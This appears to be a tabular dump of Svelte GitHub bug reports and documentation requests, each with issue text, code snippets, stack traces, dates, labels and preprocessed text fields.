- The failure is tied to the apostrophe character in comment content (e.g. `1's`).
- Error location points to style EOF, not the comment line.


### Severity

annoyance",css,2026-04-23 12:54:46+00:00,2026-04-29 17:47:13+00:00,0,css,6.2031,svelte css parser fails on apostrophe in css block comment with unexpected end of input describe the bug in a component block a css block comment containing an apostrophe can break svelte s css parsing and produce the error is reported at the end of the style block even though css braces parens are balanced this is not a general comment issue single line and multi line css comments parse fine unless they include this apostrophe case apostrophes inside css block comments should be treated as plain comment text and never affect parsing svelte reports at the end of the block reproduction if i change to remove apostrophe parsing succeeds system info both single line and multi line css comments work in this file the failure is tied to the apostrophe character in comment content e g error location points to style eof not the comment line severity annoyance,others,-0.9814
sveltejs/svelte,4311817318,Prop defaults from `$props()` are not reactive to changes in referenced `$state`,"### Describe the bug

Prop defaults defined with `$props()` destructuring are not reactive to changes in the reactive values they reference. The fallback is evaluated once (with `untrack()`) and cached — subsequent changes to the underlying `$state` are never reflected.

This affects any pattern where a prop default calls a reactive function:

```svelte
<script>
  import { getTranslation } from './translations.svelte.js';
  let { label = getTranslation('greeting') } = $props();
</script>
```

If `getTranslation('greeting')` returns `""Hello""` at mount time and later changes to `""Hola""`, the component will always display `""Hello""`.

### Root cause

In the compiled output, `$props()` destructuring with a default becomes:

```js
label = $.prop($$props, 'label', 19, () => getTranslation('greeting'))
```

Flag `19` includes `PROPS_IS_LAZY_INITIAL` (16). Inside `$.prop`, the fallback function is evaluated with `untrack()` and cached via a `fallback_dirty` flag that is only reset when the prop is explicitly provided and then removed — not when the reactive dependencies of the fallback change.

### Reproduction

https://svelte.dev/playground/23fb040dbc894601979d7e6e8dc8d633

The reproduction has 3 cases:

1. **Direct template usage** — `{getTranslation('greeting')}` in template markup → **updates correctly** ✅
2. **Prop default on eagerly rendered component** — `let { label = getTranslation('greeting') } = $props()` on a component that mounts before the state changes → **stays stale**... [TRUNCATED]",,2026-04-22 20:55:56+00:00,2026-04-29 19:10:21+00:00,0,nan,6.9267,prop defaults from are not reactive to changes in referenced describe the bug prop defaults defined with destructuring are not reactive to changes in the reactive values they reference the fallback is evaluated once with and cached subsequent changes to the underlying are never reflected this affects any pattern where a prop default calls a reactive function if returns at mount time and later changes to the component will always display root cause in the compiled output destructuring with a default becomes flag includes inside the fallback function is evaluated with and cached via a flag that is only reset when the prop is explicitly provided and then removed not when the reactive dependencies of the fallback change reproduction the reproduction has cases direct template usage in template markup updates correctly prop default on eagerly rendered component on a component that mounts before the state changes stays stale truncated,others,0.3182
sveltejs/svelte,4301864713,type transformed by `$state.snapshot`,"### Describe the bug

```svelte
<script lang=""ts"">
  class Bounds {
    sw: [number, number]
    ne: [number, number]

    constructor(sw: [number, number], ne: [number, number]) {
      this.sw = sw
      this.ne = ne
    }

    toJSON(): [number, number, number, number] {
      return [...this.sw, ...this.ne]
    }
  }

  function setBounds(bounds: Bounds) {
    console.log(bounds)
  }

  const config = $state.raw({
    bounds: new Bounds([100, 50], [90, 30]),
  })

  setBounds($state.snapshot(config.bounds))
         // ^ Svelte: Argument of type [number, number, number, number] is not assignable to parameter of type Bounds
</script>
```

caused by https://github.com/sveltejs/svelte/blob/8e7319063aa609cca2cbf8cdf1958e5392dd2fa0/packages/svelte/src/ambient.d.ts#L86

### Reproduction

*

### Logs

```shell

```

### System Info

```shell
*
```

### Severity

annoyance",documentation,2026-04-21 10:10:10+00:00,2026-04-29 16:34:11+00:00,3,documentation,8.2667,type transformed by describe the bug caused by reproduction logs system info severity annoyance,documentation,-0.6486
sveltejs/svelte,4296147446,Batch has scheduled roots,"### Describe the bug

I've gotten this `invariant_violation` error in a bigger Project, but this is the smallest reproduction i was able to create.

The error gets thrown when:
1. A page queries and `await`s data using a remote query
2. A remote `form` gets submitted (not a single-flight mutation)
3. In the `enhance` function of the form a `$state` gets set after `await submit()` has run

If any of the above are not true the error doesn't occur (e.g. the form invalidates the query, the state gets set before the submit function runs)

### Reproduction

https://github.com/felixf2k/bug-invariant-violation

### Logs

```shell
Uncaught Svelte error: invariant_violation
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation
    at invariant_violation (runtime-daVIWO85.js?v=3d3391a3:191:33)
    at invariant (runtime-daVIWO85.js?v=3d3391a3:934:18)
    at #commit (runtime-daVIWO85.js?v=3d3391a3:2000:5)
    at #process (runtime-daVIWO85.js?v=3d3391a3:1886:58)
    at Batch.flush (runtime-daVIWO85.js?v=3d3391a3:1958:17)
    at Array.<anonymous> (runtime-daVIWO85.js?v=3d3391a3:2063:9)
    at run_all (runtime-daVIWO85.js?v=3d3391a3:39:45)
    at run_micro_tasks (runtime-daVIWO85.js?v=3d3391a3:1139:2)
    at runtime-daVIWO85.js?v=3d3391a3:1148:31
```

### System Info... [TRUNCATED]",,2026-04-20 13:44:03+00:00,2026-04-29 18:57:12+00:00,2,nan,9.2175,batch has scheduled roots describe the bug i ve gotten this error in a bigger project but this is the smallest reproduction i was able to create the error gets thrown when a page queries and s data using a remote query a remote gets submitted not a single flight mutation in the function of the form a gets set after has run if any of the above are not true the error doesn t occur e g the form invalidates the query the state gets set before the submit function runs reproduction logs system info truncated,others,-0.9337
sveltejs/svelte,4288334521,{#if} content remains visible when condition is false (regression since 5.41.3),"### Describe the bug

When a {#if} condition and a component inside the block depend on the same shared state, and the component mutates that state during render, the {#if} condition no longer reacts to subsequent state changes.

This issue does not occur in version 5.41.2, but was introduced in [5.41.3](https://github.com/sveltejs/svelte/releases/tag/svelte%405.41.3).

### Reproduction

https://svelte.dev/playground/595ee23e99db4a9489d88f5d800abaad?version=5.55.4

### Logs

```shell

```

### System Info

```shell
System:
    OS: Windows 11 10.0.26200
    CPU: (16) x64 12th Gen Intel(R) Core(TM) i5-12500H
    Memory: 25.37 GB / 63.71 GB
  Binaries:
    Node: 20.19.5 - C:\Program Files\nodejs\node.EXE
    npm: 11.12.1 - C:\Program Files\nodejs\npm.CMD
  Browsers:
    Chrome: 147.0.7727.56
    Edge: Chromium (141.0.3537.71)
    Firefox: 149.0.2 - C:\Program Files\Mozilla Firefox\firefox.exe
  npmPackages:
    svelte: 5.55.4 => 5.55.4
```

### Severity

blocking an upgrade",,2026-04-18 14:49:46+00:00,2026-04-20 14:35:11+00:00,0,nan,1.9899,if content remains visible when condition is false regression since describe the bug when a if condition and a component inside the block depend on the same shared state and the component mutates that state during render the if condition no longer reacts to subsequent state changes this issue does not occur in version but was introduced in reproduction logs system info severity blocking an upgrade,bug,-0.7391
sveltejs/svelte,4276505144,"{@const} referencing let: slot prop causes ""Cannot access '...' before initialization"" (regression of #16585)","### Describe the bug

{@const} inside a slot consumer that references a let: slot prop causes a runtime `ReferenceError: Cannot access '<name>' before initialization` (temporal dead zone). The issue reproduces on 5.55.1, so the fix from #16585 does not cover this variant.

The original issue (#16585) was reproduced with let:index used directly in a {@const} expression ({@const item = list[index]}). This variant fails when {@const} creates an object shorthand that captures the slot prop: {@const props = { row }} where row comes from let:row.

### Reproduction

```
<!-- Parent.svelte -->
<script>
  export let data = [{ id: 1, label: 'A' }, { id: 2, label: 'B' }]
</script>

{#each data as row}
  <slot name=""row"" {row}></slot>
{/each}

<!-- Consumer.svelte -->
<Parent>
  <tr slot=""row"" let:row>
    {@const props = { row, onClick: () => console.log(row) }}
    <td>{props.row.label}</td>
  </tr>
</Parent>
```

Runtime error:

`ReferenceError: Cannot access 'row' before initialization`

[REPL](https://svelte.dev/playground/hello-world?version=5.55.4#H4sIAAAAAAAAE6VSQU7DMBD8ymo5pJWiRHA0TkSBB3DgRNODm7jFwrUte0uKrPwdOWkpRXDiZs_seHdmHdGInUSGQVsCLYl528Nda00geH58gfV-izlulJYB2TIifbhUngDMT-KFc0V4l5oSthZB_oa31pA0FJAhn0BmHSlrAvi9kaGKG6GDHKCsG9MYHlqvHKUzqZ2znuBJeGkINt7uICvK6XpskN02hpdnjeETPeo5eUgGqwa97Rs8GR3JhuLRr_PWBagggrd9DtY8aNW-MZjNoaoh1VgtC223M2_7OQzDJOfU1XHUFt72hRZrqQdeUjf1LsnXabbjPJgjyQMhI7-XQ_5HohfeLkP9Sf0jV3kYc9WSoBMkoILlMRFQHYPrHEYzDLJFBkP-nbs5c_cnbvVzB_FKivZ1eluElOoYGR8_W7LztZCYuJqXi... [TRUNCATED]",,2026-04-16 14:45:55+00:00,2026-05-22 09:10:40+00:00,0,nan,35.7672,const referencing let slot prop causes cannot access before initialization regression of describe the bug const inside a slot consumer that references a let slot prop causes a runtime temporal dead zone the issue reproduces on so the fix from does not cover this variant the original issue was reproduced with let index used directly in a const expression const item list index this variant fails when const creates an object shorthand that captures the slot prop const props row where row comes from let row reproduction runtime error repl truncated,bug,-0.7859
sveltejs/svelte,4253016862,Runtime error if you don't pay attention with #each,"I created this issue because I think something is wrong with these very frequent use cases in Svelte 5.

### Reproduction steps:

- open [the reproduction](https://svelte.dev/playground/3aee961300a44e11b4f9fd0de69407d6?version=5.55.3)

- open the console log

- add some players with the button

- delete one of them

- SPLASH the errors!

The only way to fix this is to use:

```ts
const isOk = $derived(player?.name === ""Bob"");
```

instead of this:

```ts
const isOk = $derived(player.name === ""Bob"");
```

But even typescript does not warn me about this. Why?

Is this the idiomatic way to do this?

Screen:

<img width=""445"" height=""665"" alt=""Image"" src=""https://github.com/user-attachments/assets/8c8e383f-6275-4855-983c-991a5624a53c"" />",,2026-04-13 09:10:00+00:00,2026-04-13 09:16:09+00:00,0,nan,0.0043,runtime error if you don t pay attention with each i created this issue because i think something is wrong with these very frequent use cases in svelte reproduction steps open the reproduction open the console log add some players with the button delete one of them splash the errors the only way to fix this is to use instead of this but even typescript does not warn me about this why is this the idiomatic way to do this screen,bug,-0.3085
sveltejs/svelte,4245489113,[5.55.3] `derived_inert` warnings,"### Describe the bug

I got a bunch of this warning when updated Svelte to 5.55.3. This is caused by some weird interactions between a couple of `shadcn-svelte`, `bits-ui`, `svelte-sonner` components and `page.url`. Created a reproduction as requested by @dummdidumm.

### Reproduction

https://stackblitz.com/edit/sveltejs-kit-template-default-k5x5sbng?file=src%2Froutes%2F%2Bpage.svelte,src%2Froutes%2FChild.svelte,src%2Froutes%2F%2Blayout.svelte

### Logs

```shell
[svelte] derived_inert Reading a derived belonging to a now-destroyed effect may result in stale values
```

### System Info

```shell
svelte@5.55.3
kit@2.57.1
```

### Severity

annoyance",,2026-04-11 18:34:48+00:00,2026-05-06 20:37:47+00:00,10,nan,25.0854,warnings describe the bug i got a bunch of this warning when updated svelte to this is caused by some weird interactions between a couple of components and created a reproduction as requested by dummdidumm reproduction logs system info severity annoyance,others,-0.8381
sveltejs/svelte,4244302481,$effect.pending() with $state.eager broken,"### Describe the bug

no way to have data outside a svelte:boundary not be effected by await's going on inside a svelte:boundary if they depend on the same data

with the old #await nothing outside of the await is effected by the awaiting data

### Reproduction

https://svelte.dev/playground/248ef74f986e417ab633d1969e9a5abb?version=latest

if you comment out the `{@const tmp = await delayed(valu)}` line then it works as expected

with just the new async there is no way to get what i want to happen to happen
https://svelte.dev/playground/47a270e533f14c0cb0e95d60f2cbaa8b?version=latest

### Logs

```shell

```

### System Info

```shell
the svelte.dev playground
```

### Severity

annoyance",,2026-04-11 11:01:51+00:00,2026-05-15 20:30:35+00:00,10,nan,34.395,effect pending with state eager broken describe the bug no way to have data outside a svelte boundary not be effected by await s going on inside a svelte boundary if they depend on the same data with the old await nothing outside of the await is effected by the awaiting data reproduction if you comment out the line then it works as expected with just the new async there is no way to get what i want to happen to happen logs system info severity annoyance,others,-0.7783
sveltejs/svelte,4242282698,Docs: rAF batching pattern for SSE/WebSocket → reactive stores (prevents UI hang),"## Summary

When SSE or WebSocket streams feed data into a Svelte store, updating the store on every incoming chunk causes UI hangs — sometimes complete freeze in embedded webviews (Tauri, Electron, Wails). This is a common, non-obvious pitfall for anyone building AI chat UIs, real-time dashboards, or streaming data apps with Svelte.

The fix is a short `requestAnimationFrame` batching pattern, but it is not documented anywhere in the Svelte docs or cookbook.

## The Problem

A naive SSE consumer:
\`\`\`typescript
source.onmessage = (e) => {
    myStore.update(s => s + e.data); // fires 50-100x per response
};
\`\`\`

Each update triggers `$:` reactive blocks, `afterUpdate` callbacks, and any subscribers. At 50-100 chunks/response, this floods the microtask queue and blocks the main thread.

## The Fix — requestAnimationFrame Batching

\`\`\`typescript
let buffer = '';
let rafHandle: number | null = null;

source.onmessage = (e) => {
    buffer += e.data;
    if (!rafHandle) {
        rafHandle = requestAnimationFrame(() => {
            myStore.update(s => s + buffer); // one store write per frame
            buffer = '';
            rafHandle = null;
        });
    }
};
\`\`\`

**Effect:** Reduces store update frequency from 50-100x to 3-5x per response (one per animation frame). UI stays responsive at any stream speed.

## Alternative: component-local buffer

For maximum control, keep the buffer in a local variable and only push to the store on completion:
\`\`\`typescrip... [TRUNCATED]",,2026-04-11 00:07:52+00:00,2026-04-11 08:19:11+00:00,1,nan,0.3412,docs raf batching pattern for sse websocket reactive stores prevents ui hang summary when sse or websocket streams feed data into a svelte store updating the store on every incoming chunk causes ui hangs sometimes complete freeze in embedded webviews tauri electron wails this is a common non obvious pitfall for anyone building ai chat uis real time dashboards or streaming data apps with svelte the fix is a short batching pattern but it is not documented anywhere in the svelte docs or cookbook the problem a naive sse consumer typescript source onmessage e mystore update s s e data fires x per response each update triggers reactive blocks callbacks and any subscribers at chunks response this floods the microtask queue and blocks the main thread the fix requestanimationframe batching typescript let buffer let rafhandle number null null source onmessage e buffer e data if rafhandle rafhandle requestanimationframe mystore update s s buffer one store write per frame buffer rafhandle null effect reduces store update frequency from x to x per response one per animation frame ui stays responsive at any stream speed alternative component local buffer for maximum control keep the buffer in a local variable and only push to the store on completion typescrip truncated,documentation,-0.2382
sveltejs/svelte,4245534467,[2.57.1] Error when reading a `page.url` derived in @const,"### Describe the bug

This bug happens when a derived variable from `page.url` (e.g. `searchParams`) is created after any `$derived(await...)`, then reading it in a `@const`. 

### Reproduction

```html
<script lang=""ts"">
	import { page } from '$app/state';
	async function whatever() {
		return 1;
	}
	const foo = $derived(await whatever());
	//This must be created after any $derived(await...). It doesn't error if the order is reversed.
	const bar = $derived(page.url);
</script>

{#if true}
	{@const bug = bar}
{/if}
```
https://stackblitz.com/edit/pagebug-o9ztqzsk?file=src%2Froutes%2F%2Bpage.svelte

### Logs

```Shell
Error: Can only read 'page.url' on the server during rendering (not in e.g. `load` functions), as it is bound to the current request via component context. This prevents state from leaking between users. For more information, see https://svelte.dev/docs/kit/state-management#avoid-shared-state-on-the-server
```

### System Info

```Shell
N/A
```

### Severity

serious, but I can work around it

### Additional Information

_No response_",,2026-04-10 18:13:15+00:00,2026-04-13 18:09:28+00:00,0,nan,2.9974,error when reading a derived in const describe the bug this bug happens when a derived variable from e g is created after any then reading it in a reproduction logs system info severity serious but i can work around it additional information no response,bug,-0.7543
sveltejs/svelte,4238971864,Hashing styles with filename creates style leaks,"### Describe the bug

Our team is separating monolith svelte app on several microfrontends, some of them have same components, which were copypasted from parent app, but with different logic inside and all of them have same name. Recently noticed, that some of our apps have style leaks, which are caused by hashing selectors by filename.

### Reproduction

You can create two components with same selectors and same filenames, but different styling, and bug will be reproduced

### Logs

```shell

```

### System Info

```shell
-
```

### Severity

annoyance",,2026-04-10 11:55:02+00:00,2026-05-02 01:07:05+00:00,2,nan,21.55,hashing styles with filename creates style leaks describe the bug our team is separating monolith svelte app on several microfrontends some of them have same components which were copypasted from parent app but with different logic inside and all of them have same name recently noticed that some of our apps have style leaks which are caused by hashing selectors by filename reproduction you can create two components with same selectors and same filenames but different styling and bug will be reproduced logs system info severity annoyance,others,-0.6956
sveltejs/svelte,4207978664,Batch has scheduled roots,"### Describe the bug

I got the following message and I'm following the instructions, no idea what really went wrong. The site is otherwise working fine.
```
An invariant violation occurred, meaning Svelte's internal assumptions were flawed. This is a bug in Svelte, not your app — please open an issue at https://github.com/sveltejs/svelte, citing the following message: ""Batch has scheduled roots""
https://svelte.dev/e/invariant_violation
```

### Reproduction

Frankly I don't really know what happened. This happened when I opened the /sandbox page in this repo: https://github.com/lipu-linku/lipu/tree/remote

### Logs

```shell
This was logged right before in the browser console:

[svelte] await_reactivity_loss
Detected reactivity loss when reading `Query.#current`. This happens when state is read in an async function after an earlier `await`
https://svelte.dev/e/await_reactivity_loss <anonymous code>:1:147461
traced at: 
    result query.svelte.js:214
```

### System Info

```shell
System:
    OS: Linux 6.19 Fedora Linux 43 (Workstation Edition)
    CPU: (16) x64 13th Gen Intel(R) Core(TM) i7-13620H
    Memory: 16.05 GB / 31.04 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 22.20.0 - /home/theonlytails/.vite-plus/js_runtime/node/22.20.0/bin/node
    npm: 10.9.3 - /home/theonlytails/.vite-plus/js_runtime/node/22.20.0/bin/npm
    pnpm: 10.30.3 - /home/theonlytails/.local/share/pnpm/pnpm
    bun: 1.3.11 - /home/theonlytails/.bun/bin/bun
    Deno: 2.7.11... [TRUNCATED]",,2026-04-05 16:05:48+00:00,2026-05-20 10:21:20+00:00,4,nan,44.7608,batch has scheduled roots describe the bug i got the following message and i m following the instructions no idea what really went wrong the site is otherwise working fine reproduction frankly i don t really know what happened this happened when i opened the sandbox page in this repo logs system info shell system os linux fedora linux workstation edition cpu x th gen intel r core tm i h memory gb gb container yes shell usr bin zsh binaries node home theonlytails vite plus js runtime node bin node npm home theonlytails vite plus js runtime node bin npm pnpm home theonlytails local share pnpm pnpm bun home theonlytails bun bin bun deno truncated,others,-0.4364
sveltejs/svelte,4201943704,async failure inside fork escapes fork,"### Describe the bug

If you run async work inside a fork, and it fails, the error propagates and is visible even outside the fork

### Reproduction

[Reproduction](https://svelte.dev/playground/hello-world?version=5.55.1#H4sIAAAAAAAACo2Qy07EMAxFfyXyILWVqpl9p1OJHUv2lEXauMKQR5V4KKMq_47SDA8hkNhdO_fYzl3BSoPQwB1q7cTivFaiREWMqoIaJtIYoHlYgS9z8qUG1B_U7TzvwytqTr1BBvytPzrLaDlAA20YPc3c9bZnMrPzLFYxOf8iopi8M6LIVHFMDo0swpNbxEncBJaM5SR1wOrzcTr2tj18zbTtcGZ2Vjg7ahpfTmtZiVO3bSizvM5jf8YqdqlqDxnq_sb3ozOGuKxil9V_GEVhlF4l6Cq_Ub1t80-bwZ2tkv6yZbLuaNpOjKnqeZWLJBb33hkKuPf4jCOXxeCcKarNsx5oymIXLM1zSkWSxrQ3z8hl9l4tcYvtx36ogfGNoUnZxMcaWJJeyCpottjjO0OobU4sAgAA)

### Logs

```shell

```

### System Info

```shell
irrelevant
```

### Severity

blocking an upgrade",,2026-04-03 19:39:53+00:00,2026-04-08 16:58:00+00:00,0,nan,4.8876,async failure inside fork escapes fork describe the bug if you run async work inside a fork and it fails the error propagates and is visible even outside the fork reproduction reproduction logs system info severity blocking an upgrade,others,-0.9217
sveltejs/svelte,4199347389,`onintrostart` dispatches with `animate:` animation,"### Describe the bug

The `onintrostart` event fires when an element begins an animation specified with `animate:`.

This bug was introduced by #17567.

The best solution appears to be moving back the `dispatchEvent()` calls in `packages/svelte/src/internal/client/dom/elements/transitions.js` to the `transition()` function. Otherwise, we would probably need to add a parameter to `animate()`, indicating whether it was called by `transition()`, which may be a little dirty.

*Maybe*, we could add an `on_begin` callback parameter to `animate()`, which is how `dispatchEvent()` could be triggered to not break the fix of #14009. I can create a PR for this in case you like the solution :D

### Reproduction

https://svelte.dev/playground/1b1bf2a52c2448a09917378711735c3d?version=5.55.1

### Logs

```shell

```

### System Info

```shell
System:
    OS: Linux 6.17 Ubuntu 25.10 25.10 (Questing Quokka)
    CPU: (6) x64 AMD Ryzen 5 4500U with Radeon Graphics
    Memory: 1008.57 MB / 6.67 GB
    Container: Yes
    Shell: 5.9 - /usr/bin/zsh
  Binaries:
    Node: 22.21.1 - /home/dabund24/.nvm/versions/node/v22.21.1/bin/node
    npm: 10.9.4 - /home/dabund24/.nvm/versions/node/v22.21.1/bin/npm
  Browsers:
    Firefox: 149.0
    Firefox Developer Edition: 149.0
  npmPackages:
    svelte: ^5.55.0 => 5.55.1
```

### Severity

blocking an upgrade",,2026-04-03 08:56:42+00:00,2026-04-20 12:18:58+00:00,0,nan,17.1405,dispatches with animation describe the bug the event fires when an element begins an animation specified with this bug was introduced by the best solution appears to be moving back the calls in to the function otherwise we would probably need to add a parameter to indicating whether it was called by which may be a little dirty maybe we could add an callback parameter to which is how could be triggered to not break the fix of i can create a pr for this in case you like the solution d reproduction logs system info severity blocking an upgrade,others,0.0214
sveltejs/svelte,4158890824,Async Svelte crash in certain situations when destructuring awaited derived value in a @const,"### Describe the bug

This seems to happen when you have:

First, an awaited query, and a derived expression from that query
```typescript
import { getIt } from './query.remote.ts';
let d = $derived(await getIt());
// For some reason this additional derived is required to reproduce
let showFetchCta = $derived(d.hasData)
```

In the template, a `@const` statement that destructures the awaited value.

```svelte
{#if d}
	{@const {data, hasData} = d}

	{#if hasData}
		<p>The Data: {data}</p>
	{:else if showFetchCta} <!-- reference the derived so it doesn't get thrown away -->
		<p>Fetch now</p>
	{:else}
		<p>No data</p>
	{/if}
{/if}
```

Causes the error
```
 TypeError: Cannot read properties of undefined (reading 'f')
```

In Module.get where it reads `signal.f` (`signal` is apparently still undefined).

If you remove the `@const` destructuring and just reference the values as `d.data` and so on, then it works fine.


### Reproduction

https://www.sveltelab.dev/38gut2mu4bw9p4d

Note you might have to run with the inspector open to really see the crash. Otherwise it's not totally obvious all the time.

### Logs

```shell
Uncaught (in promise) TypeError: Cannot read properties of undefined (reading 'f')

	in <unknown>
	in +page.svelte
	in +layout.svelte
	in root.svelte
	in undefined

    at Module.get (chunk-O3RU4Q5E.js?v=4ba18bce:4157:23)
    at +page.svelte?t=1774689309840:99:13
    at chunk-GMPPHB2E.js?v=4ba18bce:798:5
    at update_reaction (chunk-O3RU4Q5E.js?v=4ba18bce:3983:1... [TRUNCATED]",,2026-03-28 09:22:42+00:00,2026-04-09 18:21:48+00:00,1,nan,12.3744,async svelte crash in certain situations when destructuring awaited derived value in a const describe the bug this seems to happen when you have first an awaited query and a derived expression from that query in the template a statement that destructures the awaited value causes the error in module get where it reads is apparently still undefined if you remove the destructuring and just reference the values as and so on then it works fine reproduction note you might have to run with the inspector open to really see the crash otherwise it s not totally obvious all the time logs shell uncaught in promise typeerror cannot read properties of undefined reading f in in page svelte in layout svelte in root svelte in undefined at module get chunk o ru q e js v ba bce at page svelte t at chunk gmpphb e js v ba bce at update reaction chunk o ru q e js v ba bce truncated,bug,-0.5574
sveltejs/svelte,4158202701,Improve warning for reassigning states used by context,"### Describe the problem

Regarding [using context with state](https://svelte.dev/docs/svelte/context#Using-context-with-state) docs, the compiler does give a warning, but it is not intuitive:

> note that if you _reassign_ `counter` instead of updating it, you will 'break the link

> Svelte will warn you if you get it wrong.

```svelte
<script>
  import Child from './Child.svelte';
  import { setCounter } from './context.ts';

  let counter = $state({ count: 0 });

  // This reference only captures the initial value of `counter`. Did you mean to reference it inside a closure instead?
  // https://svelte.dev/e/state_referenced_locally
  setCounter(counter);
</script>

<button onclick={() => (counter = { count: (counter.count += 1) })}>
  increment
</button>

<Child />
```

I learned this the hard way by checking that `$state.raw` and `$derived` do not work with the context API.

### Describe the proposed solution

If possible, provide a better warning message.

### Importance

nice to have",documentation,2026-03-28 06:59:01+00:00,2026-05-18 19:42:22+00:00,3,documentation,51.5301,improve warning for reassigning states used by context describe the problem regarding using context with state docs the compiler does give a warning but it is not intuitive note that if you reassign instead of updating it you will break the link svelte will warn you if you get it wrong i learned this the hard way by checking that and do not work with the context api describe the proposed solution if possible provide a better warning message importance nice to have,documentation,0.09
sveltejs/svelte,4151826625,docs: mention that `#snippet` is hoisted,"### Describe the problem

Following code block works, but is not [documented](https://svelte.dev/docs/svelte/snippet).

```svelte
<script>
  let { message = `it's great to see you!` } = $props();
</script>

{#snippet hello(name)}
  <p>hello {name}! {message}!</p>
{/snippet}

{@render hello('alice')}
{@render hello('bob')}
```

### Describe the proposed solution

Mention `#snippet` hoisting since it can greatly help code organization.

This is my usage:

```svelte
<script>
  const student = getStudentContext(); // returns Student | null
</script>

{#if student}
  {@render card()}
  {@render card()}
  {#snippet card()}
    <!-- very long snippet that relies on truthy student -->
  {/snippet}
{/if}
```

### Importance

nice to have",,2026-03-27 11:38:16+00:00,2026-04-01 09:21:55+00:00,3,nan,4.9053,docs mention that is hoisted describe the problem following code block works but is not documented describe the proposed solution mention hoisting since it can greatly help code organization this is my usage importance nice to have,documentation,0.902
sveltejs/svelte,4141231097,Failure to strip generics' brackets leads to Unexpected token errors,"### Describe the bug

If a component contains typescript like:

```svelte
<script lang=""ts"">
class X extends Y<{ example: true }> { 
   ...
}
</script>
```

the angle brackets (`<>`) will not be removed, resulting in unexpected token errors.

This used to work in ~2 month old projects, but a fresh setup this week now has the issue.

### Reproduction

https://github.com/pmalacho-mit/svelte-parser-error/tree/main

I also added a working branch, that does not have the error: https://github.com/pmalacho-mit/svelte-parser-error/tree/working

diff: https://github.com/pmalacho-mit/svelte-parser-error/pull/1

Interestingly, I had to fully copy over the package-lock file of a working project -- pinning the exact versions of packages in my package.json was NOT enough.

### Logs

```shell

```

### System Info

```shell
devcontainer (running app):

 System:
    OS: Linux 6.12 Ubuntu 24.04.3 LTS 24.04.3 LTS (Noble Numbat)
    CPU: (10) arm64 unknown
    Memory: 664.69 MB / 7.65 GB
    Container: Yes
    Shell: 5.2.21 - /bin/bash
  Binaries:
    Node: 20.20.1 - /usr/local/share/nvm/versions/node/v20.20.1/bin/node
    Yarn: 1.22.22 - /usr/local/share/nvm/versions/node/v20.20.1/bin/yarn
    npm: 10.8.2 - /usr/local/share/nvm/versions/node/v20.20.1/bin/npm
    pnpm: 10.32.1 - /usr/local/share/nvm/versions/node/v20.20.1/bin/pnpm
  npmPackages:
    svelte: 5.46.0 => 5.46.0 

system (running browser to view app):

  System:
    OS: macOS 14.5
    CPU: (10) arm64 Apple M1 Max
    Memory: 416.09 ... [TRUNCATED]",,2026-03-26 07:01:13+00:00,2026-03-28 16:30:50+00:00,2,nan,2.3956,failure to strip generics brackets leads to unexpected token errors describe the bug if a component contains typescript like the angle brackets will not be removed resulting in unexpected token errors this used to work in month old projects but a fresh setup this week now has the issue reproduction i also added a working branch that does not have the error diff interestingly i had to fully copy over the package lock file of a working project pinning the exact versions of packages in my package json was not enough logs system info shell devcontainer running app system os linux ubuntu lts lts noble numbat cpu arm unknown memory mb gb container yes shell bin bash binaries node usr local share nvm versions node v bin node yarn usr local share nvm versions node v bin yarn npm usr local share nvm versions node v bin npm pnpm usr local share nvm versions node v bin pnpm npmpackages svelte system running browser to view app system os macos cpu arm apple m max memory truncated,bug,0.9845
sveltejs/svelte,4131448740,Detached DOM nodes accumulate when using `{#key}` with `bind:this` and exported functions,"### Describe the bug

When a `{#key}` block destroys and recreates a component tree, DOM nodes from the destroyed tree are not garbage collected. This happens when a parent uses `bind:this` on a child component that exports functions, and those functions reference DOM elements (e.g., via `bind:this` on an element). Each time the key changes, the old component tree's DOM nodes remain in memory and accumulate indefinitely.

### Reproduction

Three files:

**`+page.svelte`**
```svelte
<script>
  import Parent from './Parent.svelte'
  let currentId = $state(1)
</script>

<button onclick={() => currentId = currentId === 1 ? 2 : 1}>
  Switch (current: {currentId})
</button>

{#key currentId}
  <Parent id={currentId} />
{/key}
```

**`Parent.svelte`**
```svelte
<script>
  import Child from './Child.svelte'
  let { id } = $props()
  let child = $state(null)

  function callChild() {
    child?.doSomething()
  }
</script>

<button onclick={callChild}>Call child</button>
<Child bind:this={child} {id} />
```

**`Child.svelte`**
```svelte
<script>
  let { id } = $props()
  let element

  export function doSomething() {
    element?.focus()
  }
</script>

<div bind:this={element}>
  <p>Child {id}</p>
  <!-- Add more DOM to make the leak more visible -->
  {#each Array(20) as _, i}
    <div>Item {i}</div>
  {/each}
</div>
```

1. Open the page
2. Click ""Switch"" 10+ times
3. Take a heap snapshot in DevTools → Memory
4. Filter for ""Detached"" — old `<div>` elements from previous renders accum... [TRUNCATED]",,2026-03-25 00:01:25+00:00,2026-03-25 01:03:49+00:00,0,nan,0.0433,detached dom nodes accumulate when using with and exported functions describe the bug when a block destroys and recreates a component tree dom nodes from the destroyed tree are not garbage collected this happens when a parent uses on a child component that exports functions and those functions reference dom elements e g via on an element each time the key changes the old component tree s dom nodes remain in memory and accumulate indefinitely reproduction three files open the page click switch times take a heap snapshot in devtools memory filter for detached old elements from previous renders accum truncated,others,-0.9287
sveltejs/svelte,4130430485,"ERROR in node:async_hooks Module build failed: UnhandledSchemeError: Reading from ""node:async_hooks"" is not handled by plugins (Unhandled scheme).","### Describe the bug

I am using Svelte in a local development environment for a WordPress site.

On dev and build commands using Webpack 5 and Svelte 5, this error appears, and the build fails:
```
ERROR in node:async_hooks
Module build failed: UnhandledSchemeError: Reading from ""node:async_hooks"" is not handled by plugins (Unhandled scheme).
Webpack supports ""data:"" and ""file:"" URIs by default.
You may need an additional plugin to handle ""node:"" URIs.
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\NormalModule.js:1064:13
    at Hook.eval [as callAsync] (eval at create (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\tapable\lib\HookCodeFactory.js:31:10), <anonymous>:6:1)
    at Hook.CALL_ASYNC_DELEGATE [as _callAsync] (C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\tapable\lib\Hook.js:21:14)
    at C:\xampp\htdocs\dev\transition65\wp-content\themes\theme-dev\node_modules\webpack\lib\NormalModule.js:1058:10
    at new Promise (<anonymous>)
